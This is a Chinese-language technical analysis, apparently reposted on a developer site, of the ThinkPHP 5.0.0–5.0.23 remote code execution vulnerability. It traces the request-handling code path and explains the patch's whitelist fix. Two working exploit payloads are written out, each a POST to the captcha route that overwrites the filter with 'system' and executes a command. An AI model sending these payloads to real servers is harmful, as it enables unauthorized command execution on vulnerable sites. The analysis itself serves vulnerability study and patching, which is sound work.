内容简介:2019年1月11日,ThinkPHP官方发布以 thinkphp 5.0.22 完整版为例,下载地址:未开启调试模式。
2019年1月11日,ThinkPHP官方发布 安全更新 ,修复了一个GETSHELL漏洞。现分析如下。
漏洞复现
以 thinkphp 5.0.22 完整版为例,下载地址: http://www.thinkphp.cn/down/1260.html
未开启调试模式。
http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha POST: _method=__construct&filter[]=system&method=get&get[]=whoami
漏洞分析之POC 1
先整体的看一下这个流程,tp程序从 App.php
文件开始,其中截取部分如下:
/** * 执行应用程序 * @access public * @param Request $request 请求对象 * @return Response * @throws Exception */ public static function run(Request $request = null) { $request = is_null($request) ? Request::instance() : $request; try { ... // 获取应用调度信息 $dispatch = self::$dispatch; // 未设置调度信息则进行 URL 路由检测 if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } ... $data = self::exec($dispatch, $config); } catch (HttpResponseException $exception) { ... } ... }
在 App.php
中,会根据请求的URL调用 routeCheck
进行调度解析获得到 $dispatch
,之后将进入 exec($dispatch, $config)
根据 $dispatch
类型的不同来进行处理。
在payload中,访问的url为 index.php?s=captcha
。在 vendor/topthink/think-captcha/src/helper.php
中captcha注册了路由,
因此其对应的 dispatch
为 method
:
一步步跟入,其调用栈如下:
通过调用 Request
类中的 method
方法来获取当前的http请求类型,这里顺便贴一下该方法被调用之处:
该函数的实现在 thinkphp/library/think/Request.php:512
/** * 当前的请求类型 * @access public * @param bool $method true 获取原始请求类型 * @return string */ public function method($method = false) { if (true === $method) { // 获取原始请求类型 return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }
在tp的默认中配置中设置了表单请求类型伪装变量如下
因此通过POST一个 _method
参数,即可进入判断,并执行 $this->{$this->method}($_POST)
语句。因此通过指定 _method
即可完成对该类的任意方法的调用,其传入对应的参数即对应的 $_POST
数组
Request
类的构造函数 __construct
代码如下
protected function __construct($options = []) { foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } } if (is_null($this->filter)) { $this->filter = Config::get('default_filter'); } // 保存 php://input $this->input = file_get_contents('php://input'); }
利用foreach循环,和POST传入数组即可对 Request
对象的成员属性进行覆盖。其中 $this->filter
保存着全局过滤规则。经过覆盖,相关变量变为:
$this method = "get" get = {array} [0] 0 = dir filter = {array} [0] 0 = system
注意我们请求的路由是 ?s=captcha
,它对应的注册规则为 \think\Route::get
。在 method
方法结束后,返回的 $this->method
值应为 get
这样才能不出错,所以payload中有个 method=get
。在进行完路由检测后,执行 self::exec($dispatch, $config)
,在thinkphp/library/think/App.php:445,由于 $dispatch
值为 method
,将会进入如下分支:
protected static function exec($dispatch, $config) { switch ($dispatch['type']) { ... case 'method': // 回调方法 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = self::invokeMethod($dispatch['method'], $vars); break; ... } return $data; }
跟入 Request::instance()->param()
,该方法用于处理请求中的各种参数。
public function param($name ='', $default = null, $filter ='') { if (empty($this->mergeParam)) { $method = $this->method(true); ... } ... // 当前请求参数和URL地址中的参数合并 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; ... return $this->input($this->param, $name, $default, $filter); }
如上方法中 $this->param
通过 array_merge
将当前请求参数和URL地址中的参数合并。回忆一下前面已经通过 __construct
设置了 $this->get
为 dir
。此后 $this->param
其值被设置为:
继续跟入 $this->input
:
public function input($data = [], $name ='', $default = null, $filter ='') { ... // 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } ... }
该方法用于对请求中的数据即接收到的参数进行过滤,而过滤器通过 $this->getFilter
获得:
protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } } $filter[] = $default; return $filter; }
前面 $this->filter
已经被设置为 system
,所以 getFilter
返回后 $filter
值为:
回到 input
函数,由于 $data
是前面传入的 $this->param
即数组,所以接着会调用 array_walk_recursive($data, [$this, 'filterValue'], $filter)
,对 $data
中的每一个值调用 filterValue
函数,最终调用了 call_user_func
执行代码:
扩展之POC 2
回想前面的调用链,param -> method -> input -> getFilter -> rce。因为 filter
可控,而tp的逻辑会对输入即input进行 filter
过滤,所以重点是找到一个合理的 input
入口。
回到 param
方法:
public function param($name ='', $default = null, $filter ='') { if (empty($this->mergeParam)) { $method = $this->method(true); ... } ... }
跟入 $this->method(true)
注意此时的参数为 true
,所以此处会进入第一个分支:
public function method($method = false) { if (true === $method) { // 获取原始请求类型 return $this->server('REQUEST_METHOD') ?: 'GET'; } ... }
继续跟入 $this->server
,可以发现这里也有一个 input
!
public function server($name ='', $default = null, $filter ='') { if (empty($this->server)) { $this->server = $_SERVER; } if (is_array($name)) { return $this->server = array_merge($this->server, $name); } return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter); }
所以对 input
方法而言,其 $data
即 $this->server
数组,其参数 name
值为 REQUEST_METHOD
,在 input
方法源码如下:
public function input($data = [], $name ='', $default = null, $filter ='') { ... $name = (string) $name; if ('' != $name) { ... foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val]; } else { // 无输入数据,返回默认值 return $default; } } ... } // 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } ... }
因此利用前面的 __construct
,可以通过传入 server[REQUEST_METHOD]=dir
,使得在经过 foreach
循环时置 $data
值为 dir
,此后调用 getFilter
,同样实现RCE:
给出payload:
http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha POST: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
补丁分析
补丁地址: https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
问题的根源在于请求方法的获取接收了不可信数据,因此补丁中设置了白名单,如下
其他
这里仅仅测试了5.0.22 完整版本。各个版本之间代码有些许差异,payload不一定通用,建议自己调试调试。
以上所述就是小编给大家介绍的《ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
精通数据科学:从线性回归到深度学习
唐亘 / 人民邮电出版社 / 2018-5-8 / 99.00元
数据科学是一门内涵很广的学科,它涉及到统计分析、机器学习以及计算机科学三方面的知识和技能。本书深入浅出、全面系统地介绍了这门学科的内容。 本书分为13章,最初的3章主要介绍数据科学想要解决的问题、常用的IT工具Python以及这门学科所涉及的数学基础。第4-7章主要讨论数据模型,主要包含三方面的内容:一是统计中最经典的线性回归和逻辑回归模型;二是计算机估算模型参数的随机梯度下降法,这是模型工......一起来看看 《精通数据科学:从线性回归到深度学习》 这本书的介绍吧!